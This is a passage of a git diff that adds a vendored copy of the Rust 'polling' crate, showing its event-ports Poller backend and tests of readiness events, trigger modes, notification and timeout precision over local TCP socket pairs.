std::time::Instant; + +use rustix::buffer::spare_capacity; +use rustix::event::{port, PollFlags, Timespec}; +use rustix::fd::OwnedFd; +use rustix::io::{fcntl_getfd, fcntl_setfd, FdFlags}; + +use crate::{Event, PollMode}; + +/// Interface to event ports. +#[derive(Debug)] +pub struct Poller { + /// File descriptor for the port instance. + port_fd: OwnedFd, +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result { + let port_fd = port::create()?; + let flags = fcntl_getfd(&port_fd)?; + fcntl_setfd(&port_fd, flags | FdFlags::CLOEXEC)?; + + #[cfg(feature = "tracing")] + tracing::trace!( + port_fd = ?port_fd.as_raw_fd(), + "new", + ); + + Ok(Poller { port_fd }) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + false + } + + /// Whether this poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + false + } + + /// Adds a file descriptor. + /// + /// # Safety + /// + /// The `fd` must be a valid file descriptor and it must last until it is deleted. + pub unsafe fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + // File descriptors don't need to be added explicitly, so just modify the interest. + self.modify(BorrowedFd::borrow_raw(fd), ev, mode) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + port_fd = ?self.port_fd.as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut flags = PollFlags::empty(); + if ev.readable { + flags |= read_flags(); + } + if ev.writable { + flags |= write_flags(); + } + + if mode != PollMode::Oneshot { + return Err(crate::unsupported_error( + "this kind of event is not supported with event ports", + )); + } + + unsafe { + port::associate_fd(&self.port_fd, fd, flags, ev.key as _)?; + } + + Ok(()) + } + + /// Deletes a file descriptor. + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "delete", + port_fd = ?self.port_fd.as_raw_fd(), + ?fd, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let result = unsafe { port::dissociate_fd(&self.port_fd, fd) }; + if let Err(e) = result { + match e { + rustix::io::Errno::NOENT => return Ok(()), + _ => return Err(e.into()), + } + } + + Ok(()) + } + + /// Waits for I/O events with an optional deadline. + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + port_fd = ?self.port_fd.as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let timeout = deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + // Timeout for `port::getn`. In case of overflow, use no timeout. + let timeout = match timeout { + Some(t) => Timespec::try_from(t).ok(), + None => None, + }; + + // Wait for I/O events. + let res = port::getn( + &self.port_fd, + spare_capacity(&mut events.list), + 1, + timeout.as_ref(), + ); + #[cfg(feature = "tracing")] + tracing::trace!( + port_fd = ?self.port_fd, + res = ?events.list.len(), + "new events" + ); + + // Event ports sets the return value to -1 and returns ETIME on timer expire. The number of + // returned events is stored in nget, but in our case it should always be 0 since we set + // nget to 1 initially. + if let Err(e) = res { + match e { + rustix::io::Errno::TIME => {} + _ => return Err(e.into()), + } + } + + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + const PORT_SOURCE_USER: i32 = 3; + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + port_fd = ?self.port_fd.as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // Use port_send to send a notification to the port. + port::send(&self.port_fd, PORT_SOURCE_USER, crate::NOTIFY_KEY as _)?; + + Ok(()) + } +} + +impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.port_fd.as_raw_fd() + } +} + +impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.port_fd.as_fd() + } +} + +/// Poll flags for all possible readability events. +fn read_flags() -> PollFlags { + PollFlags::IN | PollFlags::HUP | PollFlags::ERR | PollFlags::PRI +} + +/// Poll flags for all possible writability events. +fn write_flags() -> PollFlags { + PollFlags::OUT | PollFlags::HUP | PollFlags::ERR +} + +/// A list of reported I/O events. +pub struct Events { + list: Vec, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Events { + list: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.list.iter().map(|ev| { + let flags = PollFlags::from_bits_truncate(ev.events() as _); + Event { + key: ev.userdata() as usize, + readable: flags.intersects(read_flags()), + writable: flags.intersects(write_flags()), + extra: EventExtra { flags }, + } + }) + } + + /// Clear the list. + pub fn clear(&mut self) { + self.list.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.list.capacity() + } +} + +/// Extra information associated with an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra { + /// Flags associated with this event. + flags: PollFlags, +} + +impl EventExtra { + /// Create a new, empty version of this struct. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra { + flags: PollFlags::empty(), + } + } + + /// Set the interrupt flag. + #[inline] + pub fn set_hup(&mut self, value: bool) { + self.flags.set(PollFlags::HUP, value); + } + + /// Set the priority flag. + #[inline] + pub fn set_pri(&mut self, value: bool) { + self.flags.set(PollFlags::PRI, value); + } + + /// Is this an interrupt event? + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.contains(PollFlags::HUP) + } + + /// Is this a priority event? + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.contains(PollFlags::PRI) + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR) && self.flags.contains(PollFlags::HUP)) + } + + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR)) + } +} diff --git a/lib/malio/polling/tests/concurrent_modification.rs b/lib/malio/polling/tests/concurrent_modification.rs new file mode 100644 index 0000000..f4598c0 --- /dev/null +++ b/lib/malio/polling/tests/concurrent_modification.rs @@ -0,0 +1,131 @@ +use std::io::{self, Write}; +use std::net::{TcpListener, TcpStream}; +use std::thread; +use std::time::Duration; + +use easy_parallel::Parallel; +use polling::{Event, Events, Poller}; + +#[test] +fn concurrent_add() -> io::Result<()> { + let (reader, mut writer) = tcp_pair()?; + let poller = Poller::new()?; + + let mut events = Events::new(); + + let result = Parallel::new() + .add(|| { + poller.wait(&mut events, None)?; + Ok(()) + }) + .add(|| { + thread::sleep(Duration::from_millis(100)); + unsafe { + poller.add(&reader, Event::readable(0))?; + } + writer.write_all(&[1])?; + Ok(()) + }) + .run() + .into_iter() + .collect::>(); + + poller.delete(&reader)?; + result?; + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(0) + ); + + Ok(()) +} + +#[test] +fn concurrent_modify() -> io::Result<()> { + let (reader, mut writer) = tcp_pair()?; + let poller = Poller::new()?; + unsafe { + poller.add(&reader, Event::none(0))?; + } + + let mut events = Events::new(); + + Parallel::new() + .add(|| { + poller.wait(&mut events, Some(Duration::from_secs(10)))?; + Ok(()) + }) + .add(|| { + thread::sleep(Duration::from_millis(100)); + poller.modify(&reader, Event::readable(0))?; + writer.write_all(&[1])?; + Ok(()) + }) + .run() + .into_iter() + .collect::>()?; + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(0) + ); + + Ok(()) +} + +#[cfg(all(unix, not(target_os = "vita")))] +#[test] +fn concurrent_interruption() -> io::Result<()> { + struct MakeItSend(T); + unsafe impl Send for MakeItSend {} + + let (reader, _writer) = tcp_pair()?; + let poller = Poller::new()?; + unsafe { + poller.add(&reader, Event::none(0))?; + } + + let mut events = Events::new(); + let events_borrow = &mut events; + let (sender, receiver) = std::sync::mpsc::channel(); + + Parallel::new() + .add(move || { + // Register a signal handler so that the syscall is actually interrupted. A signal that + // is ignored by default does not cause an interrupted syscall. + signal_hook::flag::register(signal_hook::consts::signal::SIGURG, Default::default())?; + + // Signal to the other thread how to send a signal to us + sender + .send(MakeItSend(unsafe { libc::pthread_self() })) + .unwrap(); + + poller.wait(events_borrow, Some(Duration::from_secs(1)))?; + Ok(()) + }) + .add(move || { + let MakeItSend(target_thread) = receiver.recv().unwrap(); + thread::sleep(Duration::from_millis(100)); + assert_eq!(0, unsafe { + libc::pthread_kill(target_thread, libc::SIGURG) + }); + Ok(()) + }) + .run() + .into_iter() + .collect::>()?; + + assert_eq!(events.len(), 0); + + Ok(()) +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/io.rs b/lib/malio/polling/tests/io.rs new file mode 100644 index 0000000..8156abc --- /dev/null +++ b/lib/malio/polling/tests/io.rs @@ -0,0 +1,144 @@ +use polling::{Event, Events, Poller}; +use std::io::{self, Write}; +use std::net::{TcpListener, TcpStream}; +use std::sync::Arc; +use std::time::Duration; + +#[test] +fn basic_io() { + let poller = Poller::new().unwrap(); + let (read, mut write) = tcp_pair().unwrap(); + unsafe { + poller.add(&read, Event::readable(1)).unwrap(); + } + + // Nothing should be available at first. + let mut events = Events::new(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // After a write, the event should be available now. + write.write_all(&[1]).unwrap(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + poller.delete(&read).unwrap(); +} + +#[test] +fn insert_twice() { + #[cfg(unix)] + use std::os::unix::io::AsRawFd; + #[cfg(windows)] + use std::os::windows::io::AsRawSocket; + + let (read, mut write) = tcp_pair().unwrap(); + let read = Arc::new(read); + + let poller = Poller::new().unwrap(); + unsafe { + #[cfg(unix)] + let read = read.as_raw_fd(); + #[cfg(windows)] + let read = read.as_raw_socket(); + + poller.add(read, Event::readable(1)).unwrap(); + assert_eq!( + poller.add(read, Event::readable(1)).unwrap_err().kind(), + io::ErrorKind::AlreadyExists + ); + } + + write.write_all(&[1]).unwrap(); + let mut events = Events::new(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + poller.delete(&read).unwrap(); +} + +/// Test that calling `wait` appends events, as [documented], rather than +/// overwriting them. +/// +/// [documented]: https://docs.rs/polling/latest/polling/struct.Poller.html#method.wait +#[test] +fn append_events() { + #[cfg(unix)] + use std::os::unix::io::AsRawFd; + #[cfg(windows)] + use std::os::windows::io::AsRawSocket; + + // Create a few sockets. + let mut pairs = Vec::new(); + for _ in 0..4 { + let (read, write) = tcp_pair().unwrap(); + pairs.push((read, write)); + } + + // Add the sockets to the poller. + let poller = Poller::new().unwrap(); + unsafe { + for (read, _write) in &pairs { + #[cfg(unix)] + let read = read.as_raw_fd(); + #[cfg(windows)] + let read = read.as_raw_socket(); + + poller.add(read, Event::readable(1)).unwrap(); + } + } + + // Trigger read events on the sockets and reuse the event list to test + // that events are appended. + let mut events = Events::new(); + + for (index, (_read, ref mut write)) in pairs.iter_mut().enumerate() { + // Write to the socket prompting a reader readiness event. + write.write_all(&[1]).unwrap(); + assert_eq!( + poller + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + index + 1 + ); + assert_eq!(events.len(), index + 1); + for event in events.iter() { + assert_eq!(event.with_no_extra(), Event::readable(1)); + } + } + + for (read, _write) in &pairs { + poller.delete(read).unwrap(); + } +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/many_connections.rs b/lib/malio/polling/tests/many_connections.rs new file mode 100644 index 0000000..ed392f5 --- /dev/null +++ b/lib/malio/polling/tests/many_connections.rs @@ -0,0 +1,66 @@ +//! Tests to ensure more than 32 connections can be polled at once. + +// Doesn't work on OpenBSD. +#![cfg(not(target_os = "openbsd"))] + +use std::io::{self, prelude::*}; +use std::net::{TcpListener, TcpStream}; +use std::time::Duration; + +use polling::Events; + +#[test] +fn many_connections() { + // Create 100 connections. + let mut connections = Vec::new(); + for i in 0..100 { + let (reader, writer) = tcp_pair().unwrap(); + connections.push((i, reader, writer)); + } + + // Create a poller and add all the connections. + let poller = polling::Poller::new().unwrap(); + + for (i, reader, _) in connections.iter() { + unsafe { + poller.add(reader, polling::Event::readable(*i)).unwrap(); + } + } + + let mut events = Events::new(); + while !connections.is_empty() { + // Choose a random connection to write to. + let i = fastrand::usize(..connections.len()); + let (id, mut reader, mut writer) = connections.remove(i); + + // Write a byte to the connection. + writer.write_all(&[1]).unwrap(); + + // Wait for the connection to become readable. + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + // Check that the connection is readable. + let current_events = events.iter().collect::>(); + assert_eq!(current_events.len(), 1, "events: {current_events:?}"); + assert_eq!( + current_events[0].with_no_extra(), + polling::Event::readable(id) + ); + + // Read the byte from the connection. + let mut buf = [0]; + reader.read_exact(&mut buf).unwrap(); + assert_eq!(buf, [1]); + poller.delete(&reader).unwrap(); + events.clear(); + } +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/multiple_pollers.rs b/lib/malio/polling/tests/multiple_pollers.rs new file mode 100644 index 0000000..18f0efd --- /dev/null +++ b/lib/malio/polling/tests/multiple_pollers.rs @@ -0,0 +1,358 @@ +//! Test registering one source into multiple pollers. + +use polling::{Event, Events, PollMode, Poller}; + +use std::io::{self, prelude::*}; +use std::net::{TcpListener, TcpStream}; +use std::time::Duration; + +#[test] +fn level_triggered() { + let poller1 = Poller::new().unwrap(); + let poller2 = Poller::new().unwrap(); + let mut events = Events::new(); + + if !poller1.supports_level() || !poller2.supports_level() { + return; + } + + // Register the source into both pollers. + let (mut reader, mut writer) = tcp_pair().unwrap(); + unsafe { + poller1 + .add_with_mode(&reader, Event::readable(1), PollMode::Level) + .unwrap(); + poller2 + .add_with_mode(&reader, Event::readable(2), PollMode::Level) + .unwrap(); + } + + // Neither poller should have any events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Write to the source. + writer.write_all(&[1]).unwrap(); + + // At least one poller should have an event. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + events.clear(); + // poller2 should have zero or one events. + match poller2.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + + // Writing more data should cause the same event. + writer.write_all(&[1]).unwrap(); + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + // poller2 should have zero or one events. + events.clear(); + match poller2.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + + // Read from the source. + reader.read_exact(&mut [0; 2]).unwrap(); + + // Both pollers should not have any events. + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Dereference the pollers. + poller1.delete(&reader).unwrap(); + poller2.delete(&reader).unwrap(); +} + +#[test] +fn edge_triggered() { + let poller1 = Poller::new().unwrap(); + let poller2 = Poller::new().unwrap(); + let mut events = Events::new(); + + if !poller1.supports_edge() || !poller2.supports_edge() { + return; + } + + // Register the source into both pollers. + let (mut reader, mut writer) = tcp_pair().unwrap(); + unsafe { + poller1 + .add_with_mode(&reader, Event::readable(1), PollMode::Edge) + .unwrap(); + poller2 + .add_with_mode(&reader, Event::readable(2), PollMode::Edge) + .unwrap(); + } + + // Neither poller should have any events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Write to the source. + writer.write_all(&[1]).unwrap(); + + // Both pollers should have an event. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + events.clear(); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + + // Writing to the poller again should cause an event. + writer.write_all(&[1]).unwrap(); + + // Both pollers should have one event. + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + + events.clear(); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 1 + ); + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + + // Read from the source. + reader.read_exact(&mut [0; 2]).unwrap(); + + // Both pollers should not have any events. + events.clear(); + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Dereference the pollers. + poller1.delete(&reader).unwrap(); + poller2.delete(&reader).unwrap(); +} + +#[test] +fn oneshot_triggered() { + let poller1 = Poller::new().unwrap(); + let poller2 = Poller::new().unwrap(); + let mut events = Events::new(); + + // Register the source into both pollers. + let (mut reader, mut writer) = tcp_pair().unwrap(); + unsafe { + poller1 + .add_with_mode(&reader, Event::readable(1), PollMode::Oneshot) + .unwrap(); + poller2 + .add_with_mode(&reader, Event::readable(2), PollMode::Oneshot) + .unwrap(); + } + + // Neither poller should have any events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Write to the source. + writer.write_all(&[1]).unwrap(); + + // Sources should have either one or no events. + match poller1.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(1) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + events.clear(); + + match poller2.wait(&mut events, Some(Duration::from_secs(1))) { + Ok(1) => { + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(2) + ); + } + Ok(0) => assert!(events.is_empty()), + _ => panic!("unexpected error"), + } + events.clear(); + + // Writing more data should not cause an event. + writer.write_all(&[1]).unwrap(); + + // Sources should have no events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + + // Read from the source. + reader.read_exact(&mut [0; 2]).unwrap(); + + // Sources should have no events. + assert_eq!( + poller1 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); + assert_eq!( + poller2 + .wait(&mut events, Some(Duration::from_secs(1))) + .unwrap(), + 0 + ); + assert!(events.is_empty()); +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/notify.rs b/lib/malio/polling/tests/notify.rs new file mode 100644 index 0000000..7dff0c3 --- /dev/null +++ b/lib/malio/polling/tests/notify.rs @@ -0,0 +1,38 @@ +use std::io; +use std::thread; +use std::time::Duration; + +use easy_parallel::Parallel; +use polling::Events; +use polling::Poller; + +#[test] +fn simple() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..10 { + poller.notify()?; + poller.wait(&mut events, None)?; + assert!(events.is_empty()); + } + + Ok(()) +} + +#[test] +fn concurrent() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + for _ in 0..2 { + Parallel::new() + .add(|| { + thread::sleep(Duration::from_secs(0)); + poller.notify().unwrap(); + }) + .finish(|| poller.wait(&mut events, None).unwrap()); + } + + Ok(()) +} diff --git a/lib/malio/polling/tests/other_modes.rs b/lib/malio/polling/tests/other_modes.rs new file mode 100644 index 0000000..c3cf79f --- /dev/null +++ b/lib/malio/polling/tests/other_modes.rs @@ -0,0 +1,273 @@ +//! Tests for level triggered and edge triggered mode. + +#![allow(clippy::unused_io_amount)] + +use std::io::{self, prelude::*}; +use std::net::{TcpListener, TcpStream}; +use std::time::Duration; + +use polling::{Event, Events, PollMode, Poller}; + +#[test] +fn level_triggered() { + // Create our streams. + let (mut reader, mut writer) = tcp_pair().unwrap(); + let reader_token = 1; + + // Create our poller and register our streams. + let poller = Poller::new().unwrap(); + if unsafe { poller.add_with_mode(&reader, Event::readable(reader_token), PollMode::Level) } + .is_err() + { + // Only panic if we're on a platform that should support level mode. + cfg_if::cfg_if! { + if #[cfg(any(target_os = "solaris", target_os = "illumos"))] { + return; + } else { + panic!("Level mode should be supported on this platform"); + } + } + } + + // Write some data to the writer. + let data = [1, 2, 3, 4, 5]; + writer.write_all(&data).unwrap(); + + // A "readable" notification should be delivered. + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read some of the data, the notification should still be available. + reader.read_exact(&mut [0; 3]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read the rest of the data, the notification should be gone. + reader.read_exact(&mut [0; 2]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + + assert!(events.is_empty()); + + // After modifying the stream and sending more data, it should be oneshot. + poller + .modify_with_mode(&reader, Event::readable(reader_token), PollMode::Oneshot) + .unwrap(); + + writer.write(&data).unwrap(); + events.clear(); + + // BUG: Somehow, the notification here is delayed? + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // After reading, the notification should vanish. + reader.read(&mut [0; 5]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + + assert!(events.is_empty()); +} + +#[test] +fn edge_triggered() { + // Create our streams. + let (mut reader, mut writer) = tcp_pair().unwrap(); + let reader_token = 1; + + // Create our poller and register our streams. + let poller = Poller::new().unwrap(); + if unsafe { poller.add_with_mode(&reader, Event::readable(reader_token), PollMode::Edge) } + .is_err() + { + // Only panic if we're on a platform that should support level mode. + cfg_if::cfg_if! { + if #[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly" + ), + not(polling_test_poll_backend) + ))] { + panic!("Edge mode should be supported on this platform"); + } else { + return; + } + } + } + + // Write some data to the writer. + let data = [1, 2, 3, 4, 5]; + writer.write_all(&data).unwrap(); + + // A "readable" notification should be delivered. + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read some of the data, the notification should not still be available. + reader.read_exact(&mut [0; 3]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + assert!(events.is_empty()); + + // If we write more data, a notification should be delivered. + writer.write_all(&data).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // After modifying the stream and sending more data, it should be oneshot. + poller + .modify_with_mode(&reader, Event::readable(reader_token), PollMode::Oneshot) + .unwrap(); + + writer.write_all(&data).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); +} + +#[test] +fn edge_oneshot_triggered() { + // Create our streams. + let (mut reader, mut writer) = tcp_pair().unwrap(); + let reader_token = 1; + + // Create our poller and register our streams. + let poller = Poller::new().unwrap(); + if unsafe { + poller.add_with_mode( + &reader, + Event::readable(reader_token), + PollMode::EdgeOneshot, + ) + } + .is_err() + { + // Only panic if we're on a platform that should support level mode. + cfg_if::cfg_if! { + if #[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly" + ), + not(polling_test_poll_backend) + ))] { + panic!("Edge mode should be supported on this platform"); + } else { + return; + } + } + } + + // Write some data to the writer. + let data = [1, 2, 3, 4, 5]; + writer.write_all(&data).unwrap(); + + // A "readable" notification should be delivered. + let mut events = Events::new(); + poller + .wait(&mut events, Some(Duration::from_secs(10))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); + + // If we read some of the data, the notification should not still be available. + reader.read_exact(&mut [0; 3]).unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + assert!(events.is_empty()); + + // If we modify to re-enable the notification, it should be delivered. + poller + .modify_with_mode( + &reader, + Event::readable(reader_token), + PollMode::EdgeOneshot, + ) + .unwrap(); + events.clear(); + poller + .wait(&mut events, Some(Duration::from_secs(0))) + .unwrap(); + + assert_eq!(events.len(), 1); + assert_eq!( + events.iter().next().unwrap().with_no_extra(), + Event::readable(reader_token) + ); +} + +fn tcp_pair() -> io::Result<(TcpStream, TcpStream)> { + let listener = TcpListener::bind("127.0.0.1:0")?; + let a = TcpStream::connect(listener.local_addr()?)?; + let (b, _) = listener.accept()?; + Ok((a, b)) +} diff --git a/lib/malio/polling/tests/precision.rs b/lib/malio/polling/tests/precision.rs new file mode 100644 index 0000000..f0656df --- /dev/null +++ b/lib/malio/polling/tests/precision.rs @@ -0,0 +1,72 @@ +use std::io; +use std::time::{Duration, Instant}; + +use polling::{Events, Poller}; + +#[test] +fn below_ms() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + let dur = Duration::from_micros(100); + let margin = Duration::from_micros(500); + let mut lowest = Duration::from_secs(1000); + + for _ in 0..1_000 { + let now = Instant::now(); + let n = poller.wait(&mut events, Some(dur))?; + let elapsed = now.elapsed(); + + assert_eq!(n, 0); + assert!(elapsed >= dur, "{elapsed:?} < {dur:?}"); + lowest = lowest.min(elapsed); + } + + if cfg!(all( + any( + target_os = "linux", + target_os = "android", + target_vendor = "apple", + target_os = "freebsd", + ), + not(polling_test_poll_backend) + )) { + assert!(lowest < dur + margin); + } + Ok(()) +} + +#[test] +fn above_ms() -> io::Result<()> { + let poller = Poller::new()?; + let mut events = Events::new(); + + let dur = Duration::from_micros(3_100); + let margin = Duration::from_micros(500); + let mut lowest = Duration::from_secs(1000); + + for _ in 0..1_000 { + let now = Instant::now(); + let n = poller.wait(&mut events, Some(dur))?; + let elapsed = now.elapsed(); + + assert_eq!(n, 0); + assert!(elapsed >= dur, "{elapsed:?} < {dur:?}"); + lowest = lowest.min(elapsed); + } + + if cfg!(all( + any( + target_os = "linux", + target_os = "android", + target_os = "illumos", + target_os = "solaris", + 